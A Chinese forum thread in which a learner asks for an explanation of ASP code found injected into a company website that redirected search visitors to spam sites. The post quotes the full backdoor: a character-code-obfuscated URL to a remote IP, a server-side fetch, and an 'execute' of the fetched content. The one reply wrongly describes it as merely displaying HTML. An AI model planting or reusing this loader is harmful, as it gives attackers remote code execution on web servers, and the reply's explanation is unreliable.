日期:2014-05-17  浏览次数:20788 次

求高手帮忙解释一下代码
公司网站从百度搜索到的结果点击进入时会自动跳转到垃圾网站,然后查看ftp上的源代码,发现有个文件里多了一段代码,删除后正常。
我正在学习阶段,求高手帮忙分析一下这段代码的意思。
codes=split("104|116|116|112|58|47|47|50|50|50|46|49|56|54|46|49|50|46|49|52|52|47|115|101|114|118|105|99|101|47|97|115|112|95|115|117|105|106|105|46|106|112|103|","|")
For i= 0 to ubound(codes)-1
code = chr(codes(i))
url = url & code
Next

Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
Html=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write Html
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
Html = objStream.ReadText
objStream.Close
set objStream=Nothing
if instr(Html,"by*dw")>0 then
execute html
end if

谢谢了啊!

------解决方案--------------------
第一段是按字符码形成一个URL链接,二段是远程抓取并显示一个html
详情可看http://pic.renrenso.com/schseeid/238456.html